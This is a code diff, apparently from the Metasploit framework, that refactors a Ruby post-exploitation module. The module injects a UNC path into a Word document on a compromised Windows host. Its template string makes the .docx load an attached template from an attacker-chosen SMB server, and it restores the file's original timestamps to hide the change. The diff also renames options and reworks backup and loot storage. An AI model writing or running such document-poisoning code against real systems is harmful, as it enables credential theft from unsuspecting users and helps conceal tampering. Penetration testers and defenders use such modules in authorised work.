@@ -40,9 +40,9 @@ def initialize(info = {})
40
40
41
41
register_options (
42
42
[
43
- OptAddress . new ( 'LHOST ' , [ true , 'Server IP or hostname that the .docx document points to' ] ) ,
43
+ OptAddress . new ( 'SMBHOST ' , [ true , 'Server IP or hostname that the .docx document points to' ] ) ,
44
44
OptString . new ( 'FILE' , [ true , 'Remote file to inject UNC path into. ' ] ) ,
45
- OptBool . new ( 'BACKUP' , [ true , 'Make local backup of remote file.' , 'True' ] ) ,
45
+ OptBool . new ( 'BACKUP' , [ true , 'Make local backup of remote file.' , true ] ) ,
46
46
] , self . class )
47
47
end
48
48
@@ -66,7 +66,7 @@ def manipulate_file(zipfile)
66
66
rels_file_data << "<?xml version=\" 1.0\" encoding=\" UTF-8\" standalone=\" yes\" ?>"
67
67
rels_file_data << "<Relationships xmlns=\" http://schemas.openxmlformats.org/package/2006/relationships\" >"
68
68
rels_file_data << "<Relationship Id=\" rId1\" Type=\" http://schemas.openxmlformats.org/officeDocument/2006/relationships/"
69
- rels_file_data << "attachedTemplate\" Target=\" file://\\ \\ #{ datastore [ 'LHOST ' ] } \\ normal.dot\" TargetMode=\" External\" /></Relationships>"
69
+ rels_file_data << "attachedTemplate\" Target=\" file://\\ \\ #{ datastore [ 'SMBHOST ' ] } \\ normal.dot\" TargetMode=\" External\" /></Relationships>"
70
70
71
71
zip_data = unzip_docx ( zipfile )
72
72
if zip_data . nil?
@@ -151,6 +151,10 @@ def set_mace(mace)
151
151
end
152
152
end
153
153
154
+ def rhost
155
+ client . sock . peerhost
156
+ end
157
+
154
158
def run
155
159
156
160
#sadly OptPath does not work, so we check manually if it exists
@@ -168,14 +172,44 @@ def run
168
172
org_file_data = read_file ( datastore [ 'FILE' ] )
169
173
170
174
#store the original file because we need to unzip from disk because there is no memory unzip
171
- logs_dir = ::File . join ( Msf ::Config . log_directory , 'unc_injector' )
172
- FileUtils . mkdir_p ( logs_dir )
173
- org_file = logs_dir + File ::Separator + datastore [ 'FILE' ] . split ( '\\' ) . last
174
- vprint_status ( "Written remote file to #{ org_file } " )
175
- File . open ( org_file , 'wb' ) { |f | f . write ( org_file_data ) }
175
+ if datastore [ 'BACKUP' ]
176
+ #logs_dir = ::File.join(Msf::Config.local_directory, 'unc_injector_backup')
177
+ #FileUtils.mkdir_p(logs_dir)
178
+ #@org_file = logs_dir + File::Separator + datastore['FILE'].split('\\').last
179
+ @org_file = store_loot (
180
+ "host.word_unc_injector.changedfiles" ,
181
+ "application/vnd.openxmlformats-officedocument.wordprocessingml.document" ,
182
+ rhost ,
183
+ org_file_data ,
184
+ datastore [ 'FILE' ] ,
185
+ )
186
+ print_status ( "Local backup kept at #{ @org_file } " )
187
+ #Store information in note database so its obvious what we changed, were we stored the backup file..
188
+ note_string = "Remote file #{ datastore [ 'FILE' ] } contains UNC path to #{ datastore [ 'SMBHOST' ] } . "
189
+ note_string += " Local backup of file at #{ @org_file } ."
190
+ report_note (
191
+ :host => session . session_host ,
192
+ :type => "host.word_unc_injector.changedfiles" ,
193
+ :data => {
194
+ :session_num => session . sid ,
195
+ :stype => session . type ,
196
+ :desc => session . info ,
197
+ :platform => session . platform ,
198
+ :via_payload => session . via_payload ,
199
+ :via_exploit => session . via_exploit ,
200
+ :created_at => Time . now . utc ,
201
+ :files_changed => note_string
202
+ }
203
+ )
204
+ else
205
+ @org_file = Rex ::Quickfile . new ( 'msf_word_unc_injector' )
206
+ end
207
+
208
+ vprint_status ( "Written remote file to #{ @org_file } " )
209
+ File . open ( @org_file , 'wb' ) { |f | f . write ( org_file_data ) }
176
210
177
211
#Unzip, insert our UNC path, zip and return the data of the modified file for upload
178
- injected_file = manipulate_file ( org_file )
212
+ injected_file = manipulate_file ( @ org_file)
179
213
if injected_file . nil?
180
214
return
181
215
end
@@ -187,30 +221,12 @@ def run
187
221
#set mace values back to that of original
188
222
set_mace ( file_mace )
189
223
190
- #Store information in note database so its obvious what we changed, were we stored the backup file..or remove if no backup is desired
191
- note_string = "Remote file #{ datastore [ 'FILE' ] } contains UNC path to #{ datastore [ 'LHOST' ] } . "
192
- if datastore [ 'BACKUP' ]
193
- note_string += " Local backup of file at #{ org_file } ."
194
- print_status ( "Local backup kept at #{ org_file } " )
195
- else
196
- FileUtils . rm_rf ( org_file )
197
- print_status ( "Local copy #{ org_file } deleted." )
224
+ #remove tmpfile if no backup is desired
225
+ if not datastore [ 'BACKUP' ]
226
+ @org_file . close
227
+ @org_file . unlink rescue nil # Windows often complains about unlinking tempfiles
198
228
end
199
229
200
- report_note ( :host => session . session_host ,
201
- :type => "host.word_unc_injector.changedfiles" ,
202
- :data => {
203
- :session_num => session . sid ,
204
- :stype => session . type ,
205
- :desc => session . info ,
206
- :platform => session . platform ,
207
- :via_payload => session . via_payload ,
208
- :via_exploit => session . via_exploit ,
209
- :created_at => Time . now . utc ,
210
- :files_changed => note_string
211
- }
212
- )
213
-
214
- print_good ( "Done! Remote file #{ datastore [ 'FILE' ] } succesfully injected to point to #{ datastore [ 'LHOST' ] } " )
230
+ print_good ( "Done! Remote file #{ datastore [ 'FILE' ] } succesfully injected to point to #{ datastore [ 'SMBHOST' ] } " )
215
231
end
216
232
end
0 commit comments